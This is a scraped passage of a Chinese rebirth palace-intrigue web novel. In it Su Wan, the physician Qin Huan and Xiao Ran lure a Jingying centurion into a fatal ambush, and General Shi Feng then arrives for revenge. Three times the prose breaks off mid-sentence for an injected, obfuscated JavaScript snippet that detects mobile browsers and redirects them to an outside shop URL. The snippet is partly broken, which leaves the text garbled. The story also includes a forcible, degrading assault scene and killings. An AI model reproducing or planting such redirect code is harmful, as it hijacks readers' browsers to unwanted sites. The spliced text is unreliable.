他想了想,笑道:“想是前番老妇装得久了,心态还未完全转过来。我有位女病人非说自己不是自己,而是另一个人。她日日想,夜夜想,有朝一日,真就变成那个人,不过是个男子,长了一脸的络腮胡。你小心哦,说不定哪天也会一夜生出满脸皱纹。” 言语诙谐有趣,逗得苏绾花枝乱颤。 “表哥,你真有趣。我虽只认识你几日,却好似度过一生般漫长。” 秦欢卷了卷浓黑的睫羽,眸底闪着某种异样的光芒。夜晚的清风吹拂着银灰色的衣襟,似一朵流云弊月,遮掩了他的悸动, 他垂眸低觑她良久,末了,轻声问了句:“能不能不要走?” 眼神落在别处,脸颊微微泛热,补充道:“再多住几日,我帮你调理身体,治疗你的郁症。” 似乎还不够,又殷切道:“昨日的晕厥,就是身体在向你发警示。如若不及时治疗,待到病发时,恐将山崩海啸,你承受不住的。” 苏绾眨了眨星眸,停了一个呼吸,默默转过身去背对着他,轻轻磕弄绢鞋覆面的夜露。 无声胜有声,秦欢没有等到期待的答复,眸子如星辰坠海,光芒瞬间寂灭。 他抿了抿唇,温声道:“你不必担心萧染,他对你没有恶意,内里其实是个长不大的孩子罢了。” “萧染身世坎坷,生下来就被送出宫外,父亲武安侯被赐毒酒,母亲寿宁长公主跳井自尽。即便认祖归宗,也只能偷偷摸摸,得不到皇家的认同。” “他对这尘世充满了怨怼,是以才任性妄为,行事鲁莽了些,我替他向你道歉。” 秦欢的一番话,苏绾只听进去一半。 上一世,萧染认祖归宗以后,很快就同首辅温如初打成一片,并且成为他最得力的爪牙,助其杀灭皇帝一族。那杯毒死皇帝的鸩酒,乃是萧染双手奉上,眼睁睁逼着自己的亲舅舅自尽,就为了替父母血亲报仇。 历史重写,萧染竟同秦欢处成莫逆之交,令她感到迷惑不解—— 因为上一世,秦欢并不认识萧染啊! 秦欢为人低调,从不惹事生非。自入宫做贴身御医起,就只同熹贵妃一人亲近,很少接触外人。而他与苏绾,也多是幽会于无人踏足的冷宫。 他牵着她的手,教她辨认各种药草、兽骨、丹石;一笔一划给她讲解人体经脉,顺便教了她几招防身术——专攻男子身体两处最为柔弱部位。 “有多柔软?”她不懂装懂,明知故问。 他一时语塞。 她吃吃地笑,觑他红透的耳根,玉手抚上他微热的面颊,“秦大夫也有答不上来的一日啊。” 他捉住她的皓腕,扣住一双葇荑,拇指的薄茧轻轻地搓弄掌心,痒痒的。心底无限柔软爱怜,顺着指尖的碰触,化作温润的暖流,缓缓地浸入她的心田。 从此身边,半溪明月,一枕清风。 “表妹可以原谅他吗?”映着半颜星辉,秦欢低着头问道。 “啊?”苏绾猛然间从回忆中猝醒。 她垂下眼眸,心慌道:“说什么原谅不原谅的,我与他之间,也无深仇大恨,何必纠缠不清。” 秦欢放了心,“你们之间,都是一场误会,说清楚了最好。” 只是一场误会而已吗? 昨日苏绾自昏厥苏醒后,遇见无霜红肿着双眼,嗫嚅跟她赔不是。 无霜哭道:“霜儿没办法,不得不向秦大夫坦白,出卖了小姐。” 苏绾急道:“那个家伙怎么样了?” 无霜脑子里想了个来回,总算想明白苏绾口中的“那个家伙”是谁,答道:“秦大夫说,黑狗将军已从诏狱释放,安然无恙。” 苏绾如释重负。 细想一番,萧染所言,根本就是子虚乌有的胡诌。叱咤漠北的“冷面阎罗”,哪可能轻易就断送在诏狱? 可她又不是没见过诏狱的恐怖情景,司礼监的掌印太监,可是她亲自下令送进诏狱的,换得脚上一双“红绣鞋”。 时枫就算不死,也会被扒层皮。如今他能从诏狱捡回一条命,幸甚至哉。 至于其他方面,待她问清楚缘由之后,不由得吓出一身冷汗。 秦欢竟与萧染熟识。 先不说秦欢如何认识的萧染,萧染对她和时枫之间的过往了如指掌。也就是说,如今秦欢已经知道,她委身于别的男人,厚脸皮卖身谋求庇佑! 怎么会这样?! 苏绾当下万念俱灰,只想立刻收拾行囊,趁早滚蛋离开医馆。 她知会无霜春蝉文竹等人,准备离开之际,一出门,却见到童子展臂堵在门口,“先生吩咐,不准放走客人。” 春蝉掐腰道:“我们白吃了你家的米不成,怎就不能离开?” 童子急出一头热汗,“不是这么说的,先生此去渡口办事去了,临行前叫我无论如何都要留住客人。我若任你们就这样走了,回头先生定会将我逐出师门不可。” 苏绾见童子这般殷切,也不便再强行闯关,叫他难办。只好又将行李放回原处,回到厢房大眼对小眼。 文竹道:“二小姐莫急,小的也算识人无数。我观那位秦大夫,不似小肚鸡肠,心胸狭窄之人。他救死扶伤,兼济天下,也知人间苦楚,眼里未必容不下二小姐。” 不是秦欢容不容得下她的问题,事实上,秦欢性情豁达,从不低看任何人。上一世,她那样不堪的过往,他尚且能够坦然接受。如今她的这点龌龊事,他应、应该不会…… 苏绾黯然神伤,颓然坐于床畔,心中悔恨交加。恨自己一失足成千古恨,无颜以对江东父老。 幸好那个家伙命大,倘若他命丧诏狱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407018|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这一身清白错付了不说,更不知何处发泄满腔愤怒。 然而再多悔恨,亦于事无补。 毫无疑问,秦欢站在萧染一边,而萧染立场未明,但总非与她同心,否则也不会千里追杀她。 换而言之,这一世,秦欢与她为敌。 苏绾心中一惊,冷汗淋漓。想不到重生一世,历史的潮流竟将她推到如此进退两难的境地。 如何翻身扭转乾坤呢? 她痛恨自己被动受制,被世人算计,却还懵懂无知,助纣为虐。可她手中无兵无权,无可用之棋子,何以逆天改命? 她有三步棋可走: 其一,探明秦欢的底细,必要时笼络秦欢,使其为己所用。 其二,继续与时枫周旋,借其羽翼庇护,图谋占用他的京营兵力。 其三,联合一切可联合力量,集结各路兵力,目标直指温如初。 愿景虽然美好,然而成功几率渺茫。借他人之力,终非长久之计,可她又当如何寻觅属于自己的兵力? 苏绾瞥了一眼摆放角落里的单薄行李,囊中羞涩,令她倍感窘迫。 暑风披襟,菡萏为衫。 秦欢有意撮合他二人消除误会,几次摆宴邀请两人,苏绾倒还应对自如,可萧染一直躲着不肯见她。 秦欢语重心长道:“你这么大个人,怎么同小孩子般扭捏!明明是你怠慢了人家,如今人家肯坐下来听你认错悔改,怎得你还不领情,也忒为无礼!” 萧染撇了撇檀唇,“哎哎?你别自说自话啊,谁要跟她道歉认错?我哪里做错了?她可是脚踏两只船的荡……” 话说到一半,细长眼眸瞥了秦欢一眼,见对方脸色难看,他又硬生生咽回去了。 “你、你不要忘了,她、她是温如初的未婚妻,还、还是时枫的相、相好。我向她道歉,等于与你为敌。”萧染结结巴巴道。 秦欢正色道:“你少给我惹麻烦,才是帮我的忙。你凶神恶煞地追着人家跑,人家魂都被你吓飞了,如何愿意留下?她若一走了之,天涯海角让我何处寻她?” 萧染眼睛一亮,“你的意思是,我出面留住她,你就愿意跟她拜堂成亲?” 秦欢眼前一黑,“你怎么这么喜欢撮合别人成亲?我听说你在京郊黑风寨,就曾强行替人举办婚礼,你有什么大病吗?当红娘上瘾啊!” 萧染不好意思地挠挠头,“我不是喜欢当红娘……” 他的父母一对苦命鸳鸯被人生生拆散,自己襁褓之中就被送到乡下,此生惟愿促成更多的有情人终成眷属,以解父母星离月散之遗憾。 然而不知怎得,轮到苏绾的头上,他又犹豫了那么一两息。 他不大喜欢看她,和别人在一起。 最终,萧染一路嘟嘟囔囔,唠唠叨叨,极不情愿地跟随秦欢,踏进济南府最有名的“听泉阁”。 待三人坐定,话未说上几句,萧染就上手掀了桌案。 满满一桌子的美味佳肴,伴随叮叮当当的碎裂声,混成一锅粥。 苏绾尚且淡定自若,垂眸整理衣裙,酥手掸去沾染的飞沫。 秦欢气得脸色铁青,怒道:“你给我滚出去。” 萧染的细长眼眸,不可置信地在秦欢面上滚了滚,声音颤抖:“你、你为了这条美女蛇,竟然叫我滚?” 74. 演戏 济南有泉,名为趵突泉,又名槛泉,为泺水的源头。三股泉水成一线紧密排列,齐声迸发,声势浩大,得“天下第一泉”的美誉。 听泉阁临泉而设,古木参天,翠竹环绕,泉水潺潺,清澈见底,映照楼阁飞檐翘角,宛若一幅流动的水墨画卷。楼内雕梁画栋,灯火通明,酒香与泉声相和,令人心旷神怡。窗外碧波荡漾,鱼翔浅底,落叶随波逐流,更添几分诗意。 宾客如云,觥筹交错,笑语盈盈。一位身着竹月色襕衫的年轻公子,眉目如画,举手投足自带一股风流贵气。 可不知何故,公子面色骤变,眼中闪过一丝决绝,双手一掀桌案,珍馐佳肴应声滑落,玉盘碎裂,狼藉满地。 周围的看客们,或是惊愕掩口,或是窃窃私语,或是面露同情,或是幸灾乐祸。繁杂目光在公子与同伴间来回游移,试图捕捉这场争执的来龙去脉。 店小二动作麻利,打发杂役迅速收拾现场。顷刻之间,窗明几净,地板整洁,刚才的飓风仿佛从未登陆。 襕衫公子眉宇间尽是怒意与不甘,唇角紧抿,尽显懊恼与愤懑。原本清澈的眸子,如同乌云弊月,失去了往昔光彩。修长手指指向秦欢,声音充满愤怒,与不可置信。 “你竟然叫我滚?!” 萧染捶胸顿足,咬牙切齿恨道:“凭她三两弥谎,怎能随意侮我清白?真是岂有此理!你还帮着她说话,她是只狐狸精,专门吸食男人精血,你知道吗?” “你道是天上掉下个苏表妹,可曾想过,最毒妇人心!这一切都是狐狸精设下的桃花陷阱,仙人跳,只为离间你我之间的情谊。” 对方喋喋不休,满嘴污言秽语,令秦欢忍无可忍,脸色青一阵白一阵,写满了“我要你死”四个大字。 “别闹了。”他阖合眼眸,轻轻吐口气,咬了咬唇。 “道歉。”他言简意赅。 萧染一番血泪控诉,换回冷冰冰的两个字。眼前秦欢仿佛变了个人,疾言厉色,一改往日熏风解愠。 纨绔公子耷拉着肩膀,一脸生无可恋,只觉人生愁恨何能免,前半生的知遇情谊,全部付水东流。 萧染卷了卷细长眼眸,摆出来贵公子惯用的玩世不恭的模样,向地啐了一口,“道歉?没门!” “小爷我不跟你们玩了,再会!” 言毕,狠狠瞪了苏绾一眼,甩了甩襕衫宽大袖子,拂衣潇洒离去。 剩下秦欢与苏绾,两人面面相觑。 秦欢苦笑道:“抱歉,让表妹见笑了。” 苏绾难得观了一场好戏,胸中积郁多日的烦闷,顷刻间如释重负,顿感神清气爽。 她其实并未说太多,也未做多过分,任凭他人如何斥责辱骂,原则上绝不还口,也不辩解。她只管柔柔弱弱地往那一坐,绢帕掩面,假作拭泪。甭管他是什么样的男人,冷酷将军也好,清冷御医也罢,皆难以抵挡诱惑,准保对她言听计从。 活了两世,这一招屡试不爽。 苏绾的这种能力,并非一朝一夕练就。她从小就在复杂的家庭环境中长大,学会了如何用眼泪来保护自己,如何用柔弱来赢得同情。她的母亲九香,就是一个擅长用眼泪和柔弱来操控人心的女人。苏绾从小耳濡目染,青出于蓝而胜于蓝。可惜苏家人并不吃她那套,所以苏绾只好整日摆出一副木讷寡言,惶惶不可终日的样子。 她障袂嗫嚅道:“表哥才是要笑死,我被人这般指着鼻子骂。” 那副娇娇软软的样子,我见犹怜,忍受折催。就算是秦欢,也难以招架。 秦欢忍不住抬起手,想去捏她的桃花面颊,行至半途方知不妥,拇指食指搓了搓,又硬生生收回来,尴尬道:“表妹莫要生气,我替萧染向你赔不是。” 说着,秦欢端起青灰色丝绸袍袖,毕恭毕敬向苏绾作揖,嘴里唱道:“表妹大人有大量,小生这厢有礼了~” 苏绾就喜欢他这副既正经又圆滑的模样,不禁莞尔道:“好酸的大夫。” 闻听此言,秦欢猛地抬起头,古井无波的眼眸,瞬间浪潮翻涌。他死死盯着苏绾,仿佛要将她看穿看透。 看得苏绾一头雾水,以为自己妆容不妥,玉手打点妆发,疑惑道:“我脸上落灰了吗?” 秦欢睇了一阵,大概也觉得自己行为唐突,摇了摇头,讪笑两声,“我在表妹面前,总是这般没有自信,有时候说话走了嘴,还请表妹海涵。” 两人拉扯一阵,渐渐地,两扇肩膀挨得越来越近,周围空气也变得火热。 胶着之际,忽然雅间木门洞开,一阵疾风卷入。 冲进来四五名蒙面男子,手持匕首凶器,霍霍挟持两人。 秦欢的脖颈处,蓦然伸过来一柄明晃晃的刀刃,对方语气蛮横:“不许声张,否则割断你的喉咙。” 秦欢镇定道:“你们大概找错人了。” 为首的蒙面人一把扯下面罩,苏绾定睛一看,呀,竟然是百户长! 百户长道:“苏姑娘,我们来救你了,你可还好?” 百户长一行人紧随苏绾的足迹,一路追至泺口渡,不巧正逢沈恪的车队经过。因担心被人识破他们京营铁骑的身份,众兵卫不得不提前下马,匆忙更换盔甲,扮做平民百姓,悄悄隐匿行踪。 待沈恪乘坐官船离开后,众人蓦然发现苏绾等人不见了踪影。原来苏绾被山羊胡向导引领,从某处隐蔽的野渡上船,选择了一条充满危险的捷径渡河,巧妙避开了百户长的视线范围。 无奈之下,百户长只得重新制定方针战略。渡过黄河之后,他们来到繁华的济南府。经过一系列追踪搜寻,众人在某医馆找到了失踪数日的苏绾等人。 百户长打听一番医馆主人秦欢的背景,其人光风霁月,不萦于怀,街坊邻居人皆交口称颂。正当众人准备上门拜访之际,萧染突然现身于医馆。 这一路百户长率兵多次截击追踪苏绾的歹匪,偶有活口余留,也曾提及萧染的名号。慑于萧染手里有兵,百户长不敢轻举妄动,选择暗处潜伏,伺机而动。 直至今日,三人相聚听泉阁,且都未带随从护卫。百户长和手下化装成宾客,要了隔壁房间,偷听他们之间的对话。 直到萧染突然掀翻桌子,大闹一场后愤然离去。百户长认为时机已到,遂全力出击,力图救出苏绾。 苏绾感到头疼,她该如何向百户长解释,秦欢并非恶人呢? 秦欢当然不是坏人,但萧染是。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414098|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她陷入了两难的境地,既要保护秦欢,又要应对萧染的威胁。 正当她犹豫之际,秦欢道:“你们可是来自京营?” 百户长大惊,“你怎么知道?” 秦欢道:“前几日,渡口处亮了腰牌的,可是你们?” 百户长几人渡口乘船时,毫无意外地又上当了,被当地人狮子大开口,敲诈索要五十两过河费。几个兵痞,哪里有银子? 百户长不得已,亮出了腰牌:“京营行军令,来人不得阻挡。” 秦欢竟然洞察秋毫。 百户长威胁道:“既知我来意,速速释放苏姑娘,敢说一个不字,白刀子进红刀子出。” 秦欢道:“你来得不是时候。” 百户长疑惑道:“什么意思?” 话未说完,忽然自胸口贸然伸出一柄长剑,刺穿百户长身体。 百户长满嘴鲜血,扭头看过去,竟是一位络腮胡。 身后响起一声怪笑,襕衫公子道:“意思是,今天是你的祭日。” 络腮胡猛然拔出长剑,百户长喷血而亡。令外几名蒙面人也被刺杀。 苏绾目睹整个过程,双眼瞪得大大,不敢置信所发生的一切。 萧染,他、他怎么又回来了? 萧染道:“我怎么不能回来?被人骂了一通,总要让我回嘴吧。” 秦欢道:“你杀了京卫指挥使手下的百户长,当受死罪。” 萧染道:“死就死吧,我死了也不是一回两回了,你能把我救回来。” 秦欢道:“我才懒得管你。” 原来他们两人前番一直在演戏,就为了逼出蹲守暗处的百户长。 苏绾恨不得咬舌自尽,她自以为聪明的运用小手段,离间秦萧联盟。殊不知,就连她自己,也在别人算计之中。 这份怨怼绵延了两日。 苏绾借口说自己身子不便,刻意躲着秦欢不见他。 秦欢自知理亏,也不强求,温声嘱咐无霜:“等下我叫童子送一碗燕窝羹来,给表妹补补身子。” 无霜做了传话筒,“小姐和秦大夫闹别扭了?” 苏绾冷然道:“我们此行耽搁太久,该上路离开了。” 她并非怨恨秦欢,她是担心秦欢杀了百户长,时枫会追上门找他算账。那个家伙,杀红眼的时候,连萧染也挡不住他,山寨里发生的一切,至今历历在目。 是夜。 无霜白日里收拾行李,想着要带上那件青州府的花边,可是春蝉不许她拿:“姓秦的和姓萧的,联手杀了时将军的部下。坏人经手的玩意,你怎么可以拿呢?” 无霜无言以对,可她又实在舍不得那件漂亮的花边,镶嵌在袖口、裙边多好看啊!趁着夜深人静,无霜悄悄离开厢房,打算将花边塞进马车缝隙。 借着模糊的月光,她一路摸到马厩,找到马车,袖里掏出花边,对着明月看了又看。镂空的纹路将一轮满月割裂,拼成一只雪燕,闪着微光,格外光彩夺目。 无霜满心欢喜,正要寻觅藏匿花边之处,两手乱摸,忽然摸了一手温软。 耳边响起熟悉且冷漠的声音:“别动。” (未完待续) 75. 重逢 噗。 一豆烛火熄灭,世界瞬间被漫无边际的黑暗吞噬。窗外明月皎皎,草丛促织始鸣,哀音细微入耳。月光透过雕花窗棂,洒在妃色床帏花边,映出柔和唯美的光辉。 苏绾才刚沐浴熏香,紧绷的身体得到了放松,此刻她四肢摊开,慵懒地躺卧在椒床上,却没有一丝睡意。 白日里,她豪情万丈,抖擞精神,指点江山,欲与天公试比高。 她以为自己是天选之子。 听泉阁一役败北,让她见识到,何为真正的权谋艺术。 与她料想的不同,男人的权谋世界,到处充满了诡谲奇异、险象环生、高潮迭起的较量,一环扣着一环,层层叠叠,令人目不暇接。 在这之前,她对权谋的认知,仅仅局限于“争风吃醋”、“挑拨离间”、“美人计”等闺阁手段,不过是孩童扮家家酒的小把戏,根本拿不上台面。 风光澹荡小侯爷萧染,看似胸有成竹,运筹帷幄,实则只是这场权谋游戏中的一枚棋子而已。 真正幕后操纵一切的策划者,是那位光风霁月,决胜千里之外的医馆郎中——秦欢。 秦欢的真正目的尚且不明,但总归不是他随性而为之。这一世的秦欢,与之前的秦欢相比,有着细枝末叶的微妙差异。他的眼眸,也不再清澈明净,莫名增添一股淡淡的哀怨,仿佛被乌云遮蔽,让人难以窥见深处的情感。 他在恨谁? 无故阴风恻恻,带着几分不祥的气息,吹动床帏幔帐索索作响,仿佛有什么东西在暗中窥视。 苏绾感到一阵寒意袭来,不由得打了一个寒颤,她紧了紧身上的薄被,自言自语道:“人道是七月流火,怎得这般晚来风凉?” 身后无声无息地漫入一憧黑影,暗夜幽灵般出现在床帏之外,低沉的嗓音寒气逼人,遽然打破这夜的宁静。 “亏心事做多了,自然背后发凉。” 熟悉的声音钻入耳际,苏绾只觉全身血液瞬间凝固,头皮都要炸裂,心跳咚咚如擂鼓,紧张得几乎要跳出胸腔。 她想要翻过身来,看清楚来者何人,不料沉重的身躯自上而下堕落,强有力的大手剪着她的一双玉臂,将她牢牢扣在床板,浑身动弹不得。 熟悉的松香气息铺面而来,声音低沉而充满威胁,带着一丝嘲讽和愤怒,“表妹?你可真让我犯恶心。” 鼻翼凑近发髻,轻嗅青丝芬芳,温柔体贴的动作,掩盖不住浓浓的杀意,“小婊子,学会勾引男人了,还敢杀我的人,不想活了?” “你以为背乘大树好风凉?想得美!我绝不会放过你!”男人似乎越说越兴奋,声音中充满了决绝和报复的快感。 苏绾对他这副梦魇模样并不陌生,昔日画舫中,他就是这般压着她的身体,让她无可辩驳,也无法挣脱。 黑豹埋首趴伏洁白脊背,啃噬撕咬,留下斑驳齿痕,如同野兽标记领地。苏绾拼命挣扎,奈何势单力薄,根本不是这头猎兽的对手,任由他肆意妄为。 男人狠狠啐了一口,“背信弃义的婊子。” 他的怒气化作一抹钝刀,直直穿心而过,反复搓磨。苏绾感到一阵剧烈的疼痛,仿佛连灵魂都被撕裂。泪水无声地坠落在无穷的黑夜中,如同断线的珍珠,一颗颗滑落。 过了一阵,黑豹折腾累了,从苏绾身上爬下来,留下她独自一人躺在冰凉的床板。月光洒落床帏,照在她洁白如玉的肌肤上,如同一座雕像,静静地承受着月光的洗礼。 苏绾的声音带着一丝颤抖,“解气了?” 男人报以愤怒的恨意,“我非杀了你不可。” 苏绾反倒不怕了,面色平静,“那你杀了我。” 男人攥着拳头,青筋暴起,眼神中闪过一丝复杂的情绪,“想死,没那么容易。你欠我的,我要你一笔一笔还回来。” 他想要的不仅仅是苏绾的生命,更是她的灵魂,她的一切都要为他所控制,所折磨,直到他心中的怒火彻底熄灭。 自前日接到前方幸存兵士飞鸽传书,告知百户长死讯,以及追踪苏绾中了埋伏之始末,令时枫大为震惊。 他只知苏绾前去济南探访故人,不曾想,这位故人竟然和萧染沆瀣一气,而苏绾也成为帮凶。这个消息如同晴天霹雳,让他的世界瞬间颠覆。 时枫恨不得将苏绾碎尸万段,当下骑着踏月就要去追凶,唯有亲手将仇人斩于马下,才能平息他的满腔怒火。 晴雷死死扯住时枫的衣袖,苦苦哀求道:“爷,此去乃不归路,违抗圣旨,当诛九族!” 无奈时枫根本听不进去他的话,晴雷只得一路紧随其后。然而他的马哪里跟得上踏月的步伐,没走几里路就被远远落在后面。最后逼得晴雷一顿快马加鞭,拼死追上时枫以后,干脆一屁股坐在时枫身后,死活不肯下马。 他紧紧抱住时枫的腰,耍起无赖,“属下就算死了,也得跟着爷。” 时枫怒吼:“滚!” 时枫无瑕管他,就这样二人一马,急行四百里,日落之前强行渡过黄河,后来连踏月都不要了,径直摸到医馆里来。 晴雷守候院内马厩,时枫悄悄潜入厢房,动作轻盈而迅速,如同夜色中的幽灵,悄无声息地接近目标。今夜,他必须找到苏绾,揭开所有的谜团,为百户长报仇。 苏绾默默坐起身,穿好衣裙,她心中有件事想要确定,这对她来说很重要。 时枫威胁道:“我这就去杀了你的表哥,看你还能有啥好果子吃!” 每一个字都像是一把锋利的刀,直指苏绾的心。 苏绾翻了翻星眸,“你爱信不信,我与秦欢之间,是清白的。” 时枫冷笑道:“秦欢?听名字就知道不是好东西。一对奸夫霪妇,我绝不会放过你们。” 苏绾玉手探入玄色衣襟,她的动作轻柔且突兀,似乎在寻找着什么证据。才刚深入半寸,却被大手一把抓住, “你干什么?引诱本将军?没用的!”男人的声音带着愤怒和警惕,他的眼神中充满了不信任。 苏绾翻了翻白眼,细长手指硬往里钻,艰难入了一寸多。指尖触及一道疤痕,一寸来长,陷进肌肤极深。 她心里有了底。 老道说得没错,时枫的确为她剖心刮骨取出了银针,留下这道深入骨髓的疤痕。其实在京郊山洞,她曾无意中见过这道疤,可惜当时并没有在意。 正要抽出,忽然指尖又探到一处深坑,皮肉还未完全愈合,摸上去硬硬一层血痂,底下连着血肉。这是诏狱留下的战绩,是时枫曾经受过的苦难最有力的证明。 苏绾眼前一黑,她倏地抽出手掌,咬着朱唇道:“你信我一次,我没有背叛你。你快走吧,萧染必是设好了陷阱,等着看你往里跳。” “我已决定明日一早离开济南,继续南下向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14421078|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬州出发,去查找娘亲的过往经历。你也知道,我并不是苏君识亲生女儿,我的父亲另有其人。我此行只为寻根,不是要逃离你。” 她这一席话半真半假,掺杂着矫揉造作的眼泪。儿女私情,虽说在战场上起不到作用,用来骗骗大将军,还是有效果的。 时枫立刻就信了,声音软了下来,“既知自己非苏家亲生,为何又来济南寻哪门子的表哥?”他的声音中带着一丝疑惑,似乎在寻找着苏绾行为背后的逻辑。 苏绾无奈道:“我一路逃亡,后有追兵,前路未卜,总要找地方歇脚,再讨些盘缠路费。” “秦欢不过是个大夫,只是没想到,秦欢与萧染竟是旧识。”她低着头轻声道,声音中带着一丝遗憾。 秦欢的底细,时枫来时的路上早已查探清楚。他直觉上认为,秦欢没那么简单,但他又没有证据。苏绾的话,让他心中的疑虑更深了。 忽然门外响起人语:“阁下莅临寒舍,怎不叫人传报?” 时枫凤眸一沉。 月朗星稀。 晴雷单膝屈立,搭坐车辕,擦拭秋水雁翎刀。刀身挺直,刀尖处有弧度和反刃,因形似雁翎而得名。 无霜小小身躯缩在角落,她知道自己不该躲在车厢里,可她按捺不住满溢出来的好奇心,无论是对那刀,还是那人。 她盯着雁翎刀看了看,“你杀过人吗?” 晴雷点点头,“很多。” 无霜努努嘴,“很多是多少?” 晴雷想了想,“几百个吧。” 无霜杏眼圆睁,“几百个!你、你是刽子手啊?” 晴雷嗤笑一声,“刽子手算个什么东西,我可是皇家护卫。” 晴雷出身贵族世家,因天资聪颖,骨骼清奇,从小被选中入宫接受严格武术训练。九岁时由皇帝钦点,配给绥靖王世子做贴身侍卫。乃根正苗红,锦衣卫嫡传弟子,一身曳撒服,腰配雁翎刀,即为最好的身份与实力证明。 “哦。”无霜眨了眨眼眸,若有所悟。 她自七岁被苏家买来做丫鬟,因性格内向,不争不抢,入不了嫡女的闺房,被丢给不受宠的二小姐。苏绾的月例最少,逢年过节发放礼金总没有她的份,连带着无霜也常常饿肚子。 但她不后悔。 苏绾从不打骂她,还在管家嬷嬷面前维护她,照顾她,待她如亲生姐妹般。 可小姐自从认识黑狗将军以来,没有一天笑着入睡,常常弄得一身伤痕不说,还要抓大牢审问、遭山匪劫持、被歹徒追击。如今困在这医馆里,也躲不掉黑狗将军的千里追杀。 你看,这不就来了么。 无霜撇了撇小嘴,“你是坏人。” 四个大字砸在晴雷头上,压得他差点吐血,“咳咳,我是好人!” 他眼珠转了转,“我们爷也是好人,他是专程来救你家小姐的。” 话音刚落,忽然院子里发出阵阵嘈杂声,貌似有大队人马涌入庭院,脚步声连绵不绝。 晴雷一震,“坏事了。” 他光顾着同无霜闲聊,忘记时枫交给他的重要任务——盯梢。 晴雷握紧雁翎刀,三步并作两步,急急窜出马厩。 院内灯火通明,黑压压的人群挤满每一个角落。 厢房内,秦欢与时枫坐于案边,苏绾萧染两人站在一旁。 (未完待续) 76. 密谋 苏绾做梦也想不到,有朝一日,秦欢与时枫,两个完全没有交集的人,会坐在同一张桌案前——虽然会晤并非出于双方自愿,并且显然这也不是一场和谈。 秦欢是恭而有礼的儒士,谈吐文雅,学识渊博,面上永远挂着温和的笑意,从不与人为敌。 而时枫简直就是秦欢的反面,性格孤傲,阴鸷冷戾,一言不合,下一刻就要上手掐人喉咙。 重生初见他时,她就被他掐过脖子,差一点就将她再次打入轮回。后背还残留着猎兽的斑驳齿痕,隐约传来丝丝痛感。那荒唐一幕,幸好没被人发现,苏绾情不自禁打了一个冷颤。 真是个狗东西。 苏绾恨恨地想。 “狗东西”一脸怒容,抱着手臂嫌弃圆凳太小,非要苏绾亲自去给他拿太师椅,还不许别人帮忙。 等到苏绾哼哧哼哧搬来椅子,狠狠瞪了他一眼以后,男人这才满意地将身体埋进椅身,仰头靠向椅背,两手握住椅臂,长长地吐一口气。 吁—— 他半阖眼眸,手指轻叩椅臂,语气淡淡道:“你杀了我的人,千方百计引我上钩,好大的胆子!你可知惹怒本将军的代价?” 一切皆为陷阱。 先是秦欢借着说和的名义,邀三人相聚听泉阁。席间萧染装未谈拢,假嗔掀桌离去; 再有诱骗潜伏的百户长上当,致其做出错误判断,率兵破门而入,遭去而复返的萧染埋伏; 才有时枫狂飙二百里,上门寻仇报复,结果落入圈套,被强制摁为座上宾。 显然,秦欢的目的,从一开始就是冲着时枫来的。 苏绾替秦欢捏了一把汗,毕竟惹怒冷面阎罗的代价,在座各位没人承受得起。 秦欢全程静静地看着大将军耍脾气,当着自己的面对苏绾颐指气使。他向前恭了恭身,嘴角挂着那抹万年不变的和煦笑意,“大行不顾细谨,今番若能成事,秦某死不足惜。” 蓦地眼眸一沉,“不怕向将军直言,鄙人之所求,唯有一件小事而已。” 一字一顿,咬牙道:“我要温如初,死、无、葬、身、之、地。” 秦欢眼眸卷了卷,仿佛经历万世风雪。 苏绾的错愕,与时枫的惊诧,相得益彰。 她暗自猜测,许是从萧染的口中,秦欢得知不少关于苏温两家的爱恨情仇——这在京中早已不是秘闻。但萧染不过略微知晓婚约、山寨等皮毛,秦欢又何故与温如初结怨? 上一世,尽管苏绾竭力隐瞒,她与秦欢私相授受,珠胎暗结的消息,最终还是传进温如初的耳朵。 温如初眉毛未曾动一动,嘴角扬了扬,鄙夷地说了句:“你选了一个窝囊废。” 苏绾以为,他就此放过了他们,谁知...... 往事不堪回首。 时枫则完全想不通秦欢的初衷,在他眼里,秦欢无缘无故搭上性命对付温如初,虎口里拔牙,难道为了替所谓的“表妹”出口恶气? 吃饱了撑得! 况且,他还未说什么呢!哪里轮得到一个外人,对他的女人指手画脚。 时枫撇了撇嘴,冷冷扔出一句:“我不干。” 凤眸炯炯,睥睨对方,“哼,要本将军为虎作伥,替你卖命,痴人说梦。” 他的反应,尽在秦欢预料之内,他微微一笑,四两拨千斤,“将军可有别的选择?先不说这小小医馆内,埋伏的都是我的人;放眼整个济南府,也多有我的耳目。济南府的正四品知府,乃我族内亲眷,你去问问他,可愿听你指挥?” 